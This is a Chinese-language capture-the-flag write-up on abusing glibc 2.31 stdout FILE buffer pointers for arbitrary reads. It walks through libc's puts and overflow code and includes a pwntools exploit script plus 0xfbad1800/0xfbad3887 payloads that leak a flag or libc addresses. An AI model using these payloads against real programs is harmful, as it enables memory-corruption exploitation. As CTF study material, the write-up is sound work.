Pwn FIEL 利用之 IO Buffer

FILE 设计了缓存区, 并且指针在 FILE 结构里. _IO_buf_base_IO_buf_end 就分别指向了缓存区的起始地址和结束地址. 而关于读写的三个指针, 是同时使用这一块缓存区的. 比如以写操作, 为例, _IO_write_base, _IO_write_ptr, _IO_write_end 分别指向缓存区起始位置, 用户向缓存区写入的位置, 缓存区结束. 这些指针理论上来说都应该在 _IO_buf_base_IO_buf_end 之内.

接下来就看程序会执行什么函数, 找满足什么条件能够 overflow (或者 underflow) 并且绕过, 通过覆盖缓存区指针, 构造任意地址读写.

下面会结合例题和 libc 源码, 详细讲如何构造和利用.

64 位 ELF, 保护全开, glibc 2.31. 程序首先读取了 /flag 的内容到 mmap 出的固定地址 0x233000 上. 然后设置沙箱, 基本上只允许读写. 最后执行 vuln 函数, 给出 libc 地址, 并且可以向任意地址写入 0x38 个字节.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
void __noreturn vuln()
{
  void *buf[2]; // [rsp+0h] [rbp-10h] BYREF

  buf[1] = (void *)__readfsqword(0x28u);
  buf[0] = 0LL;
  puts("Hiiii!My beeest friend.So glad that you come again.This time you need to read the flag.");
  printf("Here is your gift: %p\nGood luck!\n", &puts);
  printf("Addr: ");
  read(0, buf, 8uLL);
  printf("Data: ");
  read(0, buf[0], 0x38uLL);
  puts("Did you get that?");
  _exit(0);
}

思路就是修改 stdout 的缓冲区, 设置到 0x233000 上, 并且构造溢出条件, 使得最后一句 puts 函数打印出 flag.

我们首先来看 libc 的 puts:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
int
_IO_puts (const char *str)
{
  int result = EOF;
  size_t len = strlen (str);
  _IO_acquire_lock (stdout);
  if ((_IO_vtable_offset (stdout) != 0
       || _IO_fwide (stdout, -1) == -1)
      && _IO_sputn (stdout, str, len) == len
      && _IO_putc_unlocked ('\n', stdout) != EOF)
    result = MIN (INT_MAX, len + 1);
  _IO_release_lock (stdout);
  return result;
}
weak_alias (_IO_puts, puts)
libc_hidden_def (_IO_puts)

其实就是检查封装调用 _IO_sputn, 也就是虚函数表的 _IO_XSPUTN 项, 默认为 _IO_file_xsputn.

一点点读.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
size_t
_IO_new_file_xsputn (FILE *f, const void *data, size_t n)
{
  const char *s = (const char *) data;
  size_t to_do = n;
  int must_flush = 0;
  size_t count = 0;
  if (n <= 0)
    return 0;
  ...
}
libc_hidden_ver (_IO_new_file_xsputn, _IO_file_xsputn)

to_do 是需要写的字节数量, must_flush 是是否需要刷新缓冲区, count 是缓冲区剩余字节数.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
  /* This is an optimized implementation.
     If the amount to be written straddles a block boundary
     (or the filebuf is unbuffered), use sys_write directly. */
  /* First figure out how much space is available in the buffer. */
  if ((f->_flags & _IO_LINE_BUF) && (f->_flags & _IO_CURRENTLY_PUTTING))
    {
      count = f->_IO_buf_end - f->_IO_write_ptr;
      if (count >= n)
  {
    const char *p;
    for (p = s + n; p > s; )
      {
        if (*--p == '\n')
    {
      count = p - s + 1;
      must_flush = 1;
      break;
    }
      }
  }
    }
  else if (f->_IO_write_end > f->_IO_write_ptr)
    count = f->_IO_write_end - f->_IO_write_ptr; /* Space available. */

这一段主要在看是否需要刷新缓冲区, 并且计算缓冲区剩余空间. 其中第一个 if 是看类型是否为行缓冲, 并且正在输出. (实际上就是看两个标志位而已, 而且打的时候也可以去覆盖 _flags 来进入这个 if)

这里用了一个 trick, 行缓冲的话, 找到最后一个换行, 然后设置 count 到这里, 相当于认为缓冲区大小就是这么多, 为下面的逻辑统一.

1
2
3
4
5
6
7
8
9
  /* Then fill the buffer. */
  if (count > 0)
    {
      if (count > to_do)
  count = to_do;
      f->_IO_write_ptr = __mempcpy (f->_IO_write_ptr, s, count);
      s += count;
      to_do -= count;
    }

接下来把内容复制到缓冲区, 并且修改 _IO_write_ptr 指针, 写入指针 s, 还需写入数量 to_do.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
  if (to_do + must_flush > 0)
    {
      size_t block_size, do_write;
      /* Next flush the (full) buffer. */
      if (_IO_OVERFLOW (f, EOF) == EOF)
  /* If nothing else has to be written we must not signal the
     caller that everything has been written.  */
  return to_do == 0 ? EOF : n - to_do;
    }
  ...

如果不需要强制缓冲, 或者没有需要继续写的了, 就不会执行这个 if 里的刷新缓冲. 否则进入 if, 先执行 _IO_OVERFLOW 刷新当前已经写满的缓冲区, 然后继续处理写的过程 (不是重点, 代码里跳过了, 之前介绍 fwrite 的时候已经分析过了).

不过里没有 puts 补的那一个 \n, 所以在处理行缓冲的时候, 是不会设置 must_flush 的. 如果想要刷新缓冲区以打印我们需要 leak 的内容, 就必须构造 to_do 大于 0.

调试一下, 发现 stdout 的 _flags 有之前看到的那两个标志, 所以根据代码, count = f->_IO_buf_end - f->_IO_write_ptr. 我们又知道最后 puts 的内容是 Did you get that?, 也就是知道传入的参数 n. 所以, 只要 to_do - count > 0 即可让其调用 _IO_OVERFLOW.

再来看看 _IO_OVERFLOW 需要满足什么条件:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
int
_IO_new_file_overflow (FILE *f, int ch)
{
  if (f->_flags & _IO_NO_WRITES) /* SET ERROR */
    {
      f->_flags |= _IO_ERR_SEEN;
      __set_errno (EBADF);
      return EOF;
    }
  ...
}
libc_hidden_ver (_IO_new_file_overflow, _IO_file_overflow)

首先 _flags 不能有 _IO_NO_WRITES 位. 由于我们打的 stdout, 他就是 wirte, 没有这一位, 所以这个条件满足.

1
2
3
4
5
6
7
8
  /* If currently reading or no buffer allocated. */
  if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL)
    {
      ...
    }
  if (ch == EOF)
    return _IO_do_write (f, f->_IO_write_base,
       f->_IO_write_ptr - f->_IO_write_base);

接下来有个 if, 调试发现 stdout 的 _IO_CURRENTLY_PUTTING 是 1, 并且可以写 _IO_write_base 为非 NULL, 所以这个 if 里面可以不用管, 因为下面有更简单的逻辑. 上一个函数调用时传入的 ch 正是 EOF, 所以接着调用 _IO_do_write

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30

int
_IO_new_do_write (FILE *fp, const char *data, size_t to_do)
{
  return (to_do == 0
    || (size_t) new_do_write (fp, data, to_do) == to_do) ? 0 : EOF;
}
libc_hidden_ver (_IO_new_do_write, _IO_do_write)
static size_t
new_do_write (FILE *fp, const char *data, size_t to_do)
{
  size_t count;
  if (fp->_flags & _IO_IS_APPENDING)
    /* On a system without a proper O_APPEND implementation,
       you would need to sys_seek(0, SEEK_END) here, but is
       not needed nor desirable for Unix- or Posix-like systems.
       Instead, just indicate that offset (before and after) is
       unpredictable. */
    fp->_offset = _IO_pos_BAD;
  else if (fp->_IO_read_end != fp->_IO_write_base)
    {
      off64_t new_pos
  = _IO_SYSSEEK (fp, fp->_IO_write_base - fp->_IO_read_end, 1);
      if (new_pos == _IO_pos_BAD)
  return 0;
      fp->_offset = new_pos;
    }
  count = _IO_SYSWRITE (fp, data, to_do);
  ... // write 完了, 后面的也不重要了
}

这里处理了一下 _offset. 本着能省事就省事的原则, 可以通过设置 _flags_IO_IS_APPENDING 位或者 fp->_IO_read_end == fp->_IO_write_base, 从而执行系统调用写, 真正写到屏幕上. (if 中间那个 SEEK 在打 stdout 一般都是不行的, 暂时没研究为什么)

调试发现, stdout 的 _IO_IS_APPENDING 是 0. 如果我们去覆盖 _flags, 而 7 * 8 个字节能用, 覆盖不到 _IO_buf_end, 所以只能设置 fp->_IO_read_end == fp->_IO_write_base. 也就是说, 所有需要设置的是 _IO_read_end_IO_buf_end, 刚好 7 * 8 个字节.

exp:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from pwn import *
import subprocess
context(os='linux', arch='amd64', log_level='debug')

procname = './pwn'
libcname = './libc.so.6'

# io = process(procname, stdin=PTY)
io = remote('node4.buuoj.cn', 26694)
elf = ELF(procname)
libc = ELF(libcname)

def n2b(x):
  return str(x).encode()

def one_gadgets():
  result = [int(i) for i in subprocess.check_output(['one_gadget', '-l', '1', '--raw', libcname]).decode().split(' ')]
  debug(f'search one gadgets from {libcname}: {[hex(i) for i in result]}')
  return result

buf_base = 0x233000
buf_end = buf_base + 0x50
flag_start = buf_base
flag_end = flag_start + 0x40

puts = int(io.recvuntil(b'\nGood luck!\n', drop=True)[-14:], 16)
libc.address = puts - libc.sym['puts']
success(f'leak libc: {hex(libc.address)}')

debug(f'_IO_new_file_xsputn: {hex(libc.sym["_IO_file_xsputn"])}')
debug(f'_IO_2_1_stdout_: {hex(libc.sym["_IO_2_1_stdout_"])}')
debug(f'_IO_file_overflow: {hex(libc.sym["_IO_file_overflow"])}')
debug(f'_IO_do_write: {hex(libc.sym["_IO_do_write"])}')

target = libc.sym['_IO_2_1_stdout_'] + 0x8 * 2
pause()
io.sendafter(b'Addr: ', p64(target))

payload = flat([
  p64(buf_base),            # read end
  p64(buf_base),            # read base
  p64(buf_base),            # write base
  p64(flag_end),            # write ptr
  p64(buf_end),             # write end
  p64(buf_base),            # base
  p64(buf_end),             # end
])
io.sendafter(b'Data: ', payload)

io.interactive()

(找条件还挺好玩的, 就是有点麻烦. 之后最好总结一下, 打比赛碰到直接查表就方便多了)


麻, 自己打了个奇怪的东西 (不过也好, 洞是自己挖的, 成就感++).

一般的任意地址读不是上面那样…

回来看 _IO_new_file_xsputn:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
  if ((f->_flags & _IO_LINE_BUF) && (f->_flags & _IO_CURRENTLY_PUTTING))
    ... // 行缓冲处理
  else if (f->_IO_write_end > f->_IO_write_ptr)
    count = f->_IO_write_end - f->_IO_write_ptr;
  if (count > 0)
    ... // 填缓冲区
  if (to_do + must_flush > 0)
    {
      size_t block_size, do_write;
      /* Next flush the (full) buffer. */
      if (_IO_OVERFLOW (f, EOF) == EOF)
  /* If nothing else has to be written we must not signal the
     caller that everything has been written.  */
  return to_do == 0 ? EOF : n - to_do;
    }

如果没有行缓冲, 并且 f->_IO_write_end == f->_IO_write_ptr 的话, 压根就不会进前两个分支. 此时 count 还是 0, 直接就到 overflow 去了. 而之后并没有用到 f->_IO_buf_end, 所以并不用覆盖这个. 这是好事. 因为 overflow 调用 do write 写完以后, 会把 write, read 相关指针恢复到 buf_base 处. 那么这一次为了泄漏而修改的缓冲区指针, 都会恢复成原来的模样.

所以这个 payload 也可以这么写 (其实一般也都这么写):

1
2
3
4
5
6
7
8
9
payload = flat([
  p64(0xfbad1800), # _flags
  p64(0),          # read ptr
  p64(0),          # read end
  p64(0),          # read base
  p64(flag_start), # write base
  p64(flag_end),   # write ptr
  p64(flag_end),   # write end
])

同样保护全开. 程序的漏洞可以写 stdout. 但是这题我们并不知道要写的位置在哪, 就不能像上面一题一样直接覆盖缓冲区指针了. 这里用到的是一个常见的 leak libc 技巧.

_IO_OVERFLOW 中, 调用的是 IO_do_write (f, f->_IO_write_base, f->_IO_write_ptr - f->_IO_write_base);, 也就是最后打印出来的内容是从 _IO_write_base 开始的. 在分析程序执行流的时候 (看上面) 可以发现, 从 puts 到 _IO_OVERFLOW, 都没有对 _IO_write_base 的安全检测. 所以, 如果我们能够改这个值 (一般是减小一点), 并且通过接下来的检测, 即 _IO_IS_APPENDINGfp->_IO_read_end == fp->_IO_write_base, 就能够泄漏 原来 _IO_write_base 前面的内容, 这一部分内容就有可能包含 libc 地址. 可以看到, 这题显然是设置 _IO_IS_APPENDING 更容易绕过.

同样, 也没有对 read 的三个指针进行检查, 所以直接都覆盖为 0 也没问题.

减小 _IO_write_base 也很简单, 只需要把低位覆盖为 0 即可.

技巧
实际上低 12 位是页内偏移, 是已知内容, 所以 0x100 之内的都可以随意设置到想要的部分. 再高一字节仅有 4 位是随机的, 也可以通过随机爆破来设置想要的部分. 这样的随机爆破技巧在之前 2022 鹏城杯 One 这题也用过.
payload:

1
2
3
4
5
6
payload = flat([
p64(0xfbad3887),     # _flags
p64(0),              # read ptr
p64(0),              # read end
p64(0),              # read base
]) + b'\x00'         # write base low

这就有点像上面任意地址写的那个了. write_ptr = write_end 触发 overflow, do write 完后改回去.

注意
当程序设置了 setvbuf 0 的时候才满足 write_ptr = write_end 这个条件. 否则因为缓冲区的存在, write_ptr < write_end, 必须碰巧有个换行, 或者缓冲区填满, 才可以造成 overflow 达到读的效果. 如果有条件构造缓冲区写满那也是可以的, 比如可以输出字符先填一填缓冲区.